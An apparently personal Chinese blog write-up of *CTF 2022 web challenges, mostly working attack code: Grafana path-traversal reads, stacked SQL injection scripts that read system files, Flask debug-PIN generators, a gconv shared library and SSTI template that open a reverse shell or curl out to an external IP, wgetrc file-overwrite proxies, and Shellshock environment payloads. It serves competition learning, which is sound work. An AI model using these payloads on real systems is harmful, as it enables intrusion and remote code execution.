*CTFのWP&复现

*CTFのWP&复现

image-20220419202449545

这次比赛又学到了不少的学东西, 但可惜的是自己做最后也只出了两道, 剩下的lotto-erverse和notepro都是遇到一些坑和知识盲区所以都半路夭折了。离谱的是因为前一天晚上因为想把Fastjson的一个小系列全部源码运行过程跟完一遍所以直接通宵了, 比赛那天睡到五点多才起来, 属实翻车了。

先列一下注意的知识点:

  1. 堆叠注入键表导出文件然后读取,示例payload:

    ';create table h0cksr_mac(mac text);%23
    ';load data local infile '/sys/class/net/eth0/address' into table ctf.h0cksr_mac;%23
    ' union select 1,2,3,4,(select group_concat(mac) from ctf.h0cksr_mac);%23
  2. Flask的PIN码计算条件: docker的id+mac地址(网上大多脚本都不可用)

  3. Iconv的加载过程(在题目里面用不上)

  4. 环境变量GCONV_PATH PATH, HOSTALIASES和使用wget时的WGETRC

官方WP: https://github.com/sixstars/starctf2022 (题目的Dockerfile和WP都很齐全)

oh-my-grafana

看到这种框架直接去搜了一下漏洞就有未授权访问,而且题目给了版本号是在漏洞影响范围内的,所以不多说,直接通过目录穿越读取它的配置文件

image-20220419195114867

/public/plugins/alertlist/../../../../../../../../../../../../../etc/grafana/grafana.ini

需要注意的是, 不知道是不是只能GET请求的时候才能读取文件, 之前刚开始做题的时候试很多次都是没返回, 差点以为这个漏洞不存在, 最后把登录使用的POST请求改成GET马上就行了, 浪费了十几分钟在这, 有点离谱。

进去就直接拿到账号密码:

# default admin user, created on startup
admin_user = admin

# default admin password, can be changed before first start of grafana,  or in profile settings
admin_password = 5f989714e132c9b04d4807dafeb10ade

然后在后台到处点了了十几分钟后发现Configuration里的 Data sources可加载数据库执行SQL的查询语句, 所以在这使用SQL语句读出Flag

select flag from fffffflllllllllaaaagggggg

oh-my-notepro

image-20220418220323220

随便输入一个账号登录即可,进入后创建新文章,然后就会返回首页并且可以看到文章

image-20220418220344359

image-20220418220429190

点击文章进入会看到连接是/view?note_id=hulvhrc8rwzfoec31lshpzbvld76h8hu这种形式

image-20220418220502088

起初的时候还没想过测试这个点,就去试了一些文本编辑器的xss,CSRF和模板渲染方面的点,但是都没成功,最后回来试了一下就直接看到是个SQL注入了,而且报错出来之后连SQL语句都给出来了

image-20220418220721916

但是我最初写工具使用的是时间盲注,原本是知道可以报错注入的,但是觉得盲注比较通用所以就想着顺便写个MYSQL注入的工具方便以后使用,结果熬了一个晚上忘了做题倒是写了个几百行代码的LJ东西,,,,,一直熬到天亮都在写工具,题都忘记做了。结果写蒙了自己都不知道里面的一些逻辑了,然后就把这玩意给直接DELETE了,真的拉胯,一个晚上直接被浪费掉了

闲话多了哈哈哈,后面注入的时候发现还可以进行堆叠注入,这里就有很大的空间了, 但是当时select user()看到不是root而是ctf的时候脑子嗡嗡的, 因为这样子一般来说flag就不是在当前所能查找到的库里面了, 一般来说都是涉及到建表导出文件,或者进行一些其它的文件操作进而得到更多信息

下面开始测试字段数之后测试显示字段:

image-20220418224411307

可以看到有4和5都是显示字段, 到这里先直接给exp:

import threading
import time,requests
from bs4 import BeautifulSoup
URL="http://124.70.185.87:5002"
cookie = {
    "session": "eyJjc3JmX3Rva2VuIjoiZDRjOWU2NzY0N2ZjMTdiZjQzYjdmZDk3ZGViMzg5YjFjMWE2MWM0OCIsInVzZXJuYW1lIjoiYSJ9.Yl1vog.dIwXtH7ZVyfPNgZn63ctHUROVMM"
}

requests.get(f"{URL}/view?note_id=';create table h0cksr_mac(mac text);%23", cookies=cookie)
requests.get(f"{URL}/view?note_id=';load data local infile '/sys/class/net/eth0/address' into table ctf.h0cksr_mac;%23",cookies=cookie)
requests.get(f"{URL}/view?note_id=';create table h0cksr_dockerid(dockerid text);%23", cookies=cookie)
requests.get(f"{URL}/view?note_id=';load data local infile '/proc/self/cgroup' into table ctf.h0cksr_dockerid;%23",cookies=cookie)

URL2="http://124.70.185.87:5002/view?note_id=hulvhrc8rwzfoec31lshpzbvld76h8hu' union select 1,2,3,h0cksr1,h0cksr2;%23"
dockerid="(select group_concat(dockerid) from ctf.h0cksr_dockerid)"
mac = "(select group_concat(mac) from ctf.h0cksr_mac)"
url = URL2.replace("h0cksr1",dockerid).replace("h0cksr2",mac)

text1 = requests.get(url, cookies=cookie).text
soup = BeautifulSoup(text1, "html.parser")
print("dockerid: ",soup.find_all("p")[1].text.strip().split("docker")[1][1:65])
print("mac: ",soup.find_all("h1")[1].text.strip().split(",")[0])

# dockerid:  5da154f11b2e53c6dfe652757b9b46ea3b59bc5008a6a156a74c9bef3582f47e
# mac:  02:42:ac:1c:00:03
    当时发现能堆叠之后我就直接试了select 1 into outfile '/var/lib/mysql-files/2' 以及select load_file(DNS)都不行,然后试了下select count(*) from mysql.user也还是返回traceback,确实被降权了,最后只能使用information_schema和ctf这两个数据库,但是其实没什么用. 但是因为能堆叠所以测试后发现可以建库然后导出文件。

说一下我们的exp:

  1. 使用建库表的方式到处文件内容到字段中,然后进行select查询拿到文件内容
  2. 我们可以通过机器的mac地址和docker的id计算得到PIN码
  3. mac地址在/sys/class/net/eth0/address
  4. dockerid在/proc/self/cgroup

Pin码计算脚本:

import re
from itertools import chain
import hashlib

def genpin(mac,mid):

    probably_public_bits = [
        'ctf', # username
        'flask.app', # modname
        'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
        '/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
    ]
    mac = "0x"+mac.replace(":","")
    mac = int(mac,16)
    private_bits = [
        str(mac), # str(uuid.getnode()),  /sys/class/net/eth0/address
        str(mid) # get_machine_id(), /proc/sys/kernel/random/boot_id
    ]

    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')

    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]

    rv =None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                            for x in range(0, len(num), group_size))
                break
        else:
            rv = num

    return rv

def getcode(content):
    try:
        return re.findall(r"<pre>([\s\S]*)</pre>",content)[0].split()[0]
    except:
        return ''
def getshell():
    print(genpin("02:42:ac:1c:00:03","5da154f11b2e53c6dfe652757b9b46ea3b59bc5008a6a156a74c9bef3582f47e"))
if __name__ == '__main__':
    getshell()
# 143-392-010(错的)

最后脚本计算得到PIN码,直接到Debug页面执行python语句使用os执行命令拿flag就行

os.system('ls')
os.system('readflag')

到这里正常来说牙规是可以获得flag了

然而….

    当时算出PIN码的时候我以为要起飞了, 但是出了个大问题, 算出的PIN码不正确,python2和3的PIN码是不一样的,但是我们原本跑的脚本就是python3的,mac和dockerid肯定是没问题的,那么问题应该就在probably_public_bits, 感觉最可能是username

当时试了ctf *ctf root game 这些都不行,但是读取/app/app.py可以看到username其实是当前用户名,但是我使用当前用户名还是不对,最后去本地docker试了一下docker的mac和dockerid算出的PIN和我在docker运行的FLASK服务的PIN对比一下确实不一样,不知道是不是脚本问题,是的话就完犊子(今天WP出来了,确实是脚本的问题,因为Pin码的计算方式发生了变化,上面的脚本也可以放弃了,以后计算pin码直接用出题人大佬的脚本)

说到这,那读一下passswd确实看到一个ctf用户

image-20220419000613115

另外把全部文件读一遍:

app.py

import string
import random
from flask import render_template,redirect, url_for, request, session, Flask
from functools import wraps
from exts import db
from config import Config
from models import User, Note
from forms import CreateNoteForm, CreateLoginForm
from utils import md5

app = Flask(__name__)
app.config.from_object(Config)
app.config['MYSQL_LOCAL_INFILE'] = True
db.init_app(app)

def login_required(f):
    @wraps(f)
    def decorated_function(*args
 **kws):
            if not session.get("username"):
               return redirect(url_for('login'))
            return f(*args
 **kws)
    return decorated_function

def get_random_id():
    alphabet = list(string.ascii_lowercase + string.digits)
    return ''.join([random.choice(alphabet) for _ in range(32)])

@app.route('/')
@app.route('/index')
@login_required
def index():
    username = session['username']
    results = Note.query.filter_by(username=username).limit(100).all()

    notes = []
    for x in results:
        note = {}
        note[

models.py

from exts import db

class User(db.Model):

    __tablename__ = 'users'

    id = db.Column(db.Integer,primary_key=True)
    username = db.Column(db.String(255), unique=True)
    password = db.Column(db.String(255), nullable=False)

class Note(db.Model):

    __tablename__ = 'notes'

    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(255),unique=False)
    note_id = db.Column(db.String(255),unique=True)
    text = db.Column(db.String(255), unique=False)
    title = db.Column(db.String(255),unique=False)

exts.py

from flask_sqlalchemy import SQLAlchemy
db = SQLAlchemy()

config.py

from pymysql.constants import CLIENT,,class Config(object):
SECRET_KEY = 'you-will-never-guess-hahahahafeffefefefefefxwdhaha2333'
# SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:root@mysql:3306/ctfcharset=utf8mb4&local_infi,SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://ctf3:ctf123456@mysql:3306/ctf?charset=utf8mb4&local_i, SQLALCHEMY_ENGINE_OPTIONS = {"connect_args":{"client_flag": CLIENT.MULTI_STATEMENTS}},SQLALCHEMY_POOL_RECYCLE = 30,    SQLALCHEMY_POOL_SIZE = 40

from pymysql.constants import CLIENT

class Config(object):
    SECRET_KEY = 'you-will-never-guess-hahahahafeffefefefefefxwdhaha2333'
    # SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:root@mysql:3306/ctf?charset=utf8mb4&local_infi
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://ctf3:ctf123456@mysql:3306/ctf?charset=utf8mb4&local_i
    SQLALCHEMY_ENGINE_OPTIONS = {"connect_args":{"client_flag": CLIENT.MULTI_STATEMENTS}}
    SQLALCHEMY_POOL_RECYCLE = 30
    SQLALCHEMY_POOL_SIZE = 40

text917
file:

forms.py

from flask_wtf import FlaskForm
from wtforms import *
from wtforms.validators import DataRequired

class CreateNoteForm(FlaskForm):
    title = StringField('Note Title',validators = [DataRequired()])
    body = TextAreaField('Write something',validators = [DataRequired()])
    submit = SubmitField('Post!')

class CreateLoginForm(FlaskForm):
    username = StringField('Enter username',validators = [DataRequired()])
    password = StringField('Enter password',validators = [DataRequired()])
    submit = SubmitField('Login!')

这题就到这里吧, 满腹牢骚的年轻人,说太多废话了,下面直接

oh-my-lotto

这个题目我当时是使用PATH环境变量,通过设置PATH = .使得wget命令失效, 后台的lotto_resut.txt也就不会改变了, 但是有点坑,如果我们上传的文件只是数值一样的话传过去还是会报错, 最后我也只能在本地再开启一个lotto.py的Flask服务生成一个和题目环境一样的lotto_resule.txt然后原封不动的上传才成功。

image-20220419011119187

直接给个poc:

lotto-new-server.py

import os
import secrets
import sys
import threading

from flask import Flask, make_response
from flask import Flask,render_template, request
app = Flask(__name__)

@app.route("/")
def index():

    lotto = request.args.get('0').split(" ")
    print(0)
    print(lotto)
    r = '\n'.join(lotto)
    response = make_response(r)
    response.headers['Content-Type'] = 'text/plain'
    response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'
    return response

if __delf__ == __main__:
    # index()
    app.run(debug=True, host='0.0.0.0', port=8888)
    print("My lotto Server Start at 8888")

在相同目录下再开个python的http服务用于下载lotto_result.txt

python3 -m http.server 7777

以上的lotto服务和python的http服务我都运行在docker里面,所以docker开启了三个端口:

  1. DockerHost: 172.25.0.3
  2. 题目端口8080
  3. 新的lotto服务8888
  4. 下载lotto_result.txt的7777
#!/usr/bin/python2
# coding=utf-8
import requests,socket,os

result="23 35 2 20 7 33 25 16 8 12 38 21 19 9 30 20 2 8 34"
result=result.replace(' ',"%20")

requests.get("http://172.25.0.3:8888?0="+result)
os.system("wget http://172.25.0.3:7777/lotto_result.txt -O lotto_result.txt")

files = [('file', ('forecast', open('lotto_result.txt',"rb"), 'application/octet-stream')),]
requests.post("http://172.25.0.3:8080/forecast",files=files)
print "lotto_result.txt 已上传"
data={"lotto_key":"PATH","lotto_value":"."}
text=requests.post("http://172.25.0.3:8080/lotto", data=data).text

print "\n获得flag为:"
print text

image-20220419015019840

因为我这里开的是oh-my-lotto-revenge的题目环境所以返回的才不是flag,正常情况的话这时候获得的就是flag

oh-my-lotto-revenge

来个socket代理,一开始我想用的是python3的socket做代理,但是有点离谱,不知道哪里出了问题,每次都是二次响应的时候如果是wget --content-disposition -N lotto就直接报错, 如果是直接请求wget http:xxx:xxx/xxx倒是没问题, 可能涉及到一些\x00之类的标识符的原因吧,不太明白, 后面就用python2的socket写了一个,这里先上传一个作为WGETRC环境变量的文件然后进入代理模式,我们可以自己修改文件修改返回文件的文件名和文件内容(python2的input函数真的太难受了只能说)

代理+文件上传+wget命令执行脚本

proxy.py

#! /usr/bin/python2
# coding=utf-8
import sys,time,random,socket
import socket,urllib,urlparse

desc_host = '0.0.0.0'
desc_port = 9999

source_url = "http://127.0.0.1/ctf-temp/"

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
start=time.time()
while 1:
    try:
        server.bind((desc_host, desc_port))
        break
    except:
        # desc_port=random.randint(1000,10000)
        if time.time()-start>10:
            y,w,Y,W=True,False,True,False
            if input("Waiting too long, Weather use random port?\nIf use Input 'y',just waiting 9999 input 'w':"):
                desc_port=random.randint(1000,9999)
            start = time.time()
        else:
            print "waiting...........",int(time.time()-start)
            time.sleep(1)

start=time.time()
print "Proxying to %s:%s ..."%(desc_host, desc_port)
while 1:
    if time.time()-start>30:
        break
    server.listen(5)
    conn, addr = server.accept()
    recv=conn.recv(1024)
    # print recv
    request = recv.split(" ")[1]
    exp="exp.so"
    gcov="gconv-modules"
    file = sys.argv[sys.argv.index("-f")+1]
    file = input("file_name: ")
    # page = urllib.urlopen(urlparse.urljoin(source_url, request)).read()
    print "Send File(exp or gcov)"+file
    page = urllib.urlopen(urlparse.urljoin("http://47.99.70.18/"+file,"")).read()
    print addr[0], addr[1], request
    print time.strftime('%Y-%m-%d %H:%M:%S')," [%s:%s] %s"%(addr[0], addr[1], request)
    # print page
    head=b"""HTTP/1.1 200 OK
Server: gunicorn
Date: Mon, 18 Apr 2022 13:38:20 GMT
Connection: close
Content-Type: text/plain
Content-Length: """+str(len(page)).encode()+"""
Content-Disposition: attachment; filename="""+file+"\t\n\n".encode()
    conn.sendall(head+page)
conn.close()
print "See You Next Time"

再来一个进行lotto请求执行wget的send脚本:

send.py

#!/usr/bin/python3
# coding=utf-8
import requests,socket,os
url="http://172.25.0.3:8080/lotto"
while 1:
    In=input("Input Your 'Key value': ")
    if In=="":
        In="WGETRC /app/guess/forecast.txt"
    kv=In.split(" ")
    data = {"lotto_key": kv[0], "lotto_value": kv[1]}
    text = requests.post(url, data=data).text
    print(f"Send post {kv[0]},{kv[1]} finish")

Iconv攻击(并没有成功)

我们将UTF-8.c编译为so文件然后上传到题目的/app目录下(注意,上传后的so文件名也必须为UTF-8.so)

UTF-8.c

#include<stdlib.h>
#include<stdio.h>
#include<unistd.h>

void gconv(){
}

void gconv_init(void *step){
    system("bash -c 'exec bash -i &>/dev/tcp/47.99.70.18/4444 <&1'");
    system("curl http://47.99.70.18:4444");
    exit(0);
}
gcc UTF-8.c -o UTF-8.so -shared -fPIC

然后将gconv-modules传到/app下

/app/gconv-modules

module  UTF-8//         UTF-8       UTF-8       1
module  INTERNAL        UTF-8//     UTF-8       1

下面如果说打Iconv的话那应该就是直接在http:/题目host:port/lotto直接POST发送一个lottokey=GCONV_PATH, lotto_value=/app/的请求即可, 但是并没有触发

测试命令

上传文件后我们到docker里面测试一下,使用iconv命令触发加载调用/app/UTF-8.so的gconv_init函数是没问题的

image-20220419130645772

但是我们直接在docker运行wget --content-disposition -N lotto并没有反弹shell, 这里也是我最疑惑的地方。

结合文件上传的和环境变量, 最后也是把目标定在了Iconv加载问题, 但是又不确定, 毕竟当时对我来说没发现WGETRC这个变量所以利用点就两个:1.指定文件/app/guess/forecast.txt的内容可自由上传; 2.可设置一个环境变量, 但这是远达不到Iconv的触发条件的, 最后就只猜不知道是不是wget的一些特殊的环境变量或者与wget相关的配置文件。

image-20220419134214852

可惜的是一直到最后没注意到WGETRC这个东西(度娘谷哥的时候看东西太急了,都没细细去翻过)

gcc UTF-8.c -o UTF-8.so -shared -fPIC
wget --content-disposition -N lotto
wget http://47.99.70.18/gconv-modules
wget http://47.99.70.18/UTF-8.so
export GCONV_PATH=/app/
iconv -l
iconv gconv-modules -f us-ascii -t UTF-8 -o 4

wget --content-disposition -N lotto
iconv lotto_result.txt -f us-ascii -t UTF-8 -o 4
strace iconv lotto_result.txt -f us-ascii -t UTF-8 -o 4 2>&1 | grep -A2 -B2 iconv
readelf -Ws /usr/bin/wget |grep iconv

image-20220419110147553

image-20220419110130154

image-20220419110726864

通过strace追踪系统调用可以看到wget确实导入了iconv的gconv-modules,但是并没有像我们测试的时候调用read(3, "\tISO-IR-110//\t\tISO-8859-4//\nalia"..., 4096)而是在此之前就退出了, 所以这应该就涉及到编码问题了, 而我们可控的东西并不多,环境变量肯定是设置为GCONV_PATH不可能再改变了,那么我们能做的就是任意文件上传且文件名可控, 此外响应包的报头我们是可以自己定义的, 文件名的控制就是这个原因, 但是并不能改变目录, wget处理响应包的filename只会取最后一个/之后的内容作为文件名。

一些用不上的想法(环境变量)

PATH

因为我们可以控制PATH所以如果我们将设置变量PATH = /app然后我们再上传一个名为wget的恶意二进制文件这不就直接反弹shell? 然而现实是下载下载了文件甚至root都没执行权限, 需要手动chmod +x才行,所以这就黄了

image-20220419123735717

LD_LIBRARY_PATH

另外如果LD_LIBRARY_PATH可以被设置的话我们可以指定动态链接库的搜索路径, 我们直接将其在原有的基础上先添加一个/app/那就能通过修改恶意so文件的文件名为动态链接库的文件名从而将原先默认的动态链接库取代,加载我们的so文件,但是可惜在这里LD开头的都不能用,那就无了

ldd /usr/bin/wget #查看程序加载的动态链接库

image-20220419120747919

再提一下,程序运行时动态库的搜索路径的先后顺序是:

  1. 编译目标代码时指定的动态库搜索路径;

  2. 环境变量LD_LIBRARY_PATH指定的动态库搜索路径;

  3. 配置文件/etc/ld.so.conf中指定的动态库搜索路径;

  4. 默认的动态库搜索路径/lib和/usr/lib;

这个顺序是compile gcc时写在程序内的,通常软件源代码自带的动态库不会太多,而我们的/lib和/usr/lib只有root权限才可以修改,而且配置文件/etc/ld.so.conf也是root的事情,但是我们如果能设置LD_LIBRARY_PATH那么这个优先级甚至比我们设置配置文件/etc/ld.so.conf的优先级还要高也更有效。

加固:但是我们设置的LD_LIBRARY_PATH通常为临时变量,一旦换一个BASHshell或者重启之后就失效了,这时如果想要加固的话我们可以将设置 LD_LIBRARY_PATHexport 语句写到系统文件中,例如 /etc/profile/etc/export~/.bashrc 或者 ~/.bash_profile等, 根据操作系统和一些生产环境的不同可能还会有更多的选择。

LIBRARY_PATH

    这玩意也是可以设置查找动态链接库时指定的查找共享库的路径, 但是一般在CTF里面用不上,因为LIBRARY_PATH是在程序编译期间查找动态链接库时指定的查找共享库的路径。指定gcc编译需要链接动态链接库的目录。一般来说ctf比赛都是跑好的环境哪来的机会编译,,,,不过如果可以编译的话要是结合文件上传确实很有用(但是在这用不上就对了)。

使用示例:

export LIBRARY_PATH=libtest1:libtest2:$LIBRARY_PATH   #添加libtest1和libtest2为动态链接库的查找路径
source .bashrc || source .bash_profile  #让配置生效
gcc *.c -L./sodir1 -L./sodir2 -ltest1 -ltest2   #编译时分别链接sodir1目录下的libtest1.so库与libtest2目录的libtest2.so库

C_INCLUDE_PATH

指明头文件的搜索路径,此两个环境变量指明的头文件会在-I指定路径之后,系统默认路径之前进行搜索

LIBRARY_PATH指明库搜索路径,此环境变量指明路径会在-L指定路径之后,系统默认路径之前被搜索。

小结

LIBRARY_PATH, C_INCLUDE_PATH 这几个变量看起来很NB,不过一般也用不上,毕竟需要编译文件甚至需要source才能生效,但是 LD_LIBRARY_PATH就比较危险了,毕竟这个设置的是程序运行时的动态链接库。

跑题了, 回到题目, 到这里我们有几个可用条件:

  1. 在/app目录下任意文件上传(无可执行权限)
  2. 可以设置一个环境变量(上传文件时设置为PATH = /app/guess/forecast.txt,使用iconv时设置GCONV_PATH=/app/)

其他一些:

  • LD_PRELOAD
  • Bash 4.4以前:env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"
  • Bash 4.4及以上:env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'
  • 破壳env x='() { :;}; echo Vulnerable CVE-2014-6271 ‘ bash -c "echo test"

绝境

上面的东西基本就是环境变量常用的了(也不是很常用hhh)

到这里能想到的就是请求头了,但是并没有用,不管修改什么请求头甚至还有wgetremote_encoding都不行,不过Nu1l大佬的Iconv方法没复现出来不过倒是自己找到了一个新的方法,先发一份WP吧反正, 待会在慢慢补hh

The light of hope — remote_encoding

我想说….官方文档yyds

给几个上面稍微修改后的脚本(就是用这个直接文件覆写):

proxy.py

#!/usr/bin/python2
# coding=utf-8

import socket,urllib
import threading
import time
import urlparse,requests
desc_host = '0.0.0.0'
desc_port = 9999
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((desc_host, desc_port))
print "Proxying to %s:%s ..."%(desc_host, desc_port)
start=time.time()

def send(file,vps):
    while time.time()-start<3000:
        print "proxy socket start"
        server.listen(50)
        conn, addr = server.accept()
        recv = conn.recv(1024)
        print vps + file
        page = urllib.urlopen(urlparse.urljoin(vps + file, "")).read()
        head = "HTTP/1.1 200 OK\t\nServer: gunicorn\t\nDate: Mon, 18 Apr 2022 13:38:20 GMT\t\nConnection: close\t\n\t\n"
        head += "Content-Length: " + str(len(page)) + "\t\nContent-Disposition: attachment; filename=xxx\t\n\n"
        conn.sendall(head + page)
        print "send %s success" % file

def wgetrc(file,url):
    while time.time()-start<3000:
        wgetrcdata = b"http_proxy = http://47.99.70.18:9999/\nuse_proxy = on\noutput_document = /app/" + file.encode()
        files = [('file', ('forecast', wgetrcdata, 'application/octet-stream')), ]
        requests.post(url + "forecast", files=files)
        print "%s's wgetrc upload finish" % file
        data = {"lotto_key": "WGETRC", "lotto_value": "/app/guess/forecast.txt"}
        requests.post(url + "lotto", data=data)
        time.sleep(1)

url="http://172.25.0.3:8080/"
vps="http://47.99.70.18/"
Files=["templates/result.html",]
for file in Files:
    threading.Thread(target=send,args=(file,vps,)).start()
    threading.Thread(target=wgetrc, args=(file, url)).start()

之后每秒都会将我们服务器上的/webroot/templates/result.html上传到docker的/app//templates/result.html并且直接覆盖原文件, 然后使用SSTI模板注入, 同样的,我们也可以直接覆盖掉app.py使得app.py执行任意代码

期初没想过覆写app.py的但是SSTI注入有限制,只能执行部分命令,比如bash反弹shell或者上面使用的通过iconv命令反弹shell都不行,然后我就覆写app.py了, 但是一开始有点奇怪,正常来说Flask服务是实时随着源文件一起更新的, 但是我们覆写app.py之后并没有执行python命令反弹shell, 做到这里也不想做了直接等WP, 不过之后发现app的docker停止运行了, 我执行docker exec也开启不了docker(因为我之前把app.py改成app.py.bak了), 所以这就意味着docker有尝试过重新加载app.py文件, 之后我又更新了一个docker, 然后使用WGETRC上传文件覆写app.py之后也不知道什么时候自己就反弹shell到我的服务器上去了, 不过今天看到官方的WP算是知道为什么了

另外还想过在/etc/cron覆写文件的, 但是我直接在docker改了/etc/cron.d文件夹下面的文件之后等了半天也没见有反应就放弃了

image-20220419191636264

result.html

{% extends "base.html" %}

{% block body %}
<div class="main">
    <div class="message-card nes-container with-title is-centered is-dark">
      <p class="title">*CTF LOTTO</p>
      <p>
      This is last turn lotto result, maybe it can help you to forecast next turn. :)
      </p>
        {{config}}
{{url_for.__globals__["os"].system("curl http://47.99.70.18:4444")}}      
    {% if message%}
        <p>{{message}}</p>
    {% endif %}
    </div>

  </div>
  <div class="empty"></div>
  <div class="footer">© *CTF</div>
{% endblock %}

image-20220419154203042

wgetrc

http_proxy = http://47.99.70.18:2607/
use_proxy = on
output_document = filename
remote_encoding = UTF-8 

此外wget还有很多有意思的环境变量可以在wgetrc文件中设置, 在这里就不展开了,直接给个链,进去直接搜environment找一下就行: WEGT文档传送门

拓展

自己复现完了之后官方的WP才出来, 上面的内容几乎也都是自己做了一遍, 所以这个也不懂说是做题的WP还是复现记录了, 至于上面的内容都是边做边写的所以估计有些地方会有些问题, 不过那也不想回去改了。比赛结束还继续做下去也不知道说好还是不好, 感觉自己去看确实学习到了很多东西,但是也浪费了很多时间, 不过,归根结底, 还是遇到的题目和知识面窄了, 每天进步一点吧, Come on

下面试一下从出题人的WP学到的知识点

oh-my-lotto-revenge

wp出来了发现原来这种通过output_document覆写文件的才是预期解, 人麻了, 看了Nu1l的wp之后一直思考怎么调用Iconve来加载恶意文件, 结果放弃了wp的思路反倒是做出了预期解, 人都傻了.

  1. 平时没事多看官方文档手册, 这比漫无目地慢慢谷哥度娘强多了Linux环境变量文档: Linux环境变量文档

    别的不说, 文档里面可以进行库加载设置的环境变量就给了几十个:

    LD_BIND_NOT
    LD_BIND_NOW
    LD_DEBUG 
    LD_DEBUG_PATH
    LD_DYNAMIC_WEAK
    LD_HWCAP_MASK
    LD_LIBRARY_PATH
    LD_PRELOAD
    LD_ORIGIN_PATH
    LD_PROFILE
    LD_PROFILE_OUTPUT
    LD_SHOW_AUXV
    LD_TRACE_LOADED_OBJECTS
    LD_WARN
    LD_VERBOSE
    
    GCONV_PATH
    HOSTALIASES
    LD_AOUT_LIBRARY_PATH
    LD_AOUT_PRELOAD
    LD_DEBUG_OUTPUT
    LD_LIBRARY_PATH
    LD_ORIGIN_PATH
    LD_PRELOAD
    LD_PROFILE 
    LOCALDOMAIN 
    LOCPATH 
    MALLOC_TRACE 
    NLSPATH 
    RESOLV_HOST_CONF
    RES_OPTIONS 
    TMPDIR TZDIR

    变量太多所以它们的作用就不说了, 想要了解的时候再爬文档去

  2. HOSTALIASES可以设置shell的hosts加载文件,利用/forecast路由可以上传待加载的hosts文件,将wget --content-disposition -N lotto发向lotto的请求转发到自己的域名例如如下hosts文件

    image-20220419192924493

  3. 有一个坑, 那就是通过strace检测发现wget确实会调用确实是会调用iconv但是没有进行编码格式转换, 个人猜想的话应该是需要一些参数配置或者响应包的一些编码格式满足一些条件才会进行编码转换, 还想用pwndbg看看能不能调出来追溯一下条件, 但是之前没怎么用过pwnbg整的头都大了, 最后也就不了了之然后去看官方文档了, 也正是这样子才发现了output_document参数

  4. iconv的整体流程全都lu了一遍, 这里放个官网的源码下载网站留着备用: libiconv

oh-my-notepro

多的东西没有,主要就是建表读取文件和FLASK的Pin码计算,在这直接贴一下 官方WP 说不定以后用得上

image-20220419194445682

出题人对PIN码的解释算是解答了为什么我比赛的时候PIN码一直不对的原因了, 多的不说,这个Pin码计算脚本就值得记一下:

# exp.py

import requests
import re
import string
import random
from pin import solve

def get_content(file, regexp):
    ans = ''
    z = 1
    while True:
        try:
            tmp_database = get_random_id()
            path = f"view?note_id=';CREATE TABLE IF NOT EXISTS {tmp_database}(cmd text);Load data local infile '{file}' into table {tmp_database};select * from users where username=1 and (extractvalue(1,concat(0x7e,(select substr((select group_concat(cmd) from {tmp_database}),{str(z)},{str(20)})),0x7e)));"
            view_url = base_url + path
            r = s.get(url=view_url)
            content = re.findall("'~(.*?)'", r.text)[0]
            if content[0] == '~':
                break
            ans += content[:-1]
            if content[-1] != '~':
                break
            z += 20
            print(ans)

        except Exception as e:
            print(e)
            break
    k = re.findall(regexp, ans)[0]
    print('k is: ', k)
    return k

def get_random_id():
    alphabet = list(string.ascii_lowercase + string.digits)
    return ''.join([random.choice(alphabet) for _ in range(32)])

base_url = 'http://localhost:5002/'
base_url = 'http://124.223.208.221:5002/'
s = requests.session()

login_data = {
    'username': "veererere",
    'password': "fefefef"
}
proxies = {
    'http': 'http://127.0.0.1:8080'
}
login_url = base_url + 'login'
r = s.post(url=login_url, data=login_data, proxies=proxies)

cgroup = get_content('/proc/self/cgroup', 'docker/(.*?),')
machine_id = get_content('/etc/machine-id', '(.*)')
eth0 = get_content('/sys/class/net/eth0/address', '(.*)')

eth0 = str(int(eth0.replace(':',''),16))

print("eth0 is: ", eth0)
print("machine_id is: ", machine_id)
print("cgroup is: ", cgroup)
solve('ctf', eth0, machine_id, cgroup)

Pin码计算脚本:

# pin.py

import hashlib
from itertools import chain

def solve(username, eth0, machine_id, cgroup):
    probably_public_bits = [
    username,# username ok
    'flask.app', # ok
    'Flask' #ok,
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # ok
]

    private_bits = [
        eth0,# /sys/class/net/eth0/address
        machine_id + cgroup
        # '7cb84391-1303-4564-8eff-ef7571804198327e92627edf30f63fde916e3c3017aea76eeb876265a726270a575d391eeb4a'# machine-id
        # /etc/machine-id + /proc/self/cgroup
    ]

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')

    cookie_name = '__wzd' + h.hexdigest()[:20]

    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]

    rv =None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                            for x in range(0, len(num), group_size))
                break
        else:
            rv = num
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
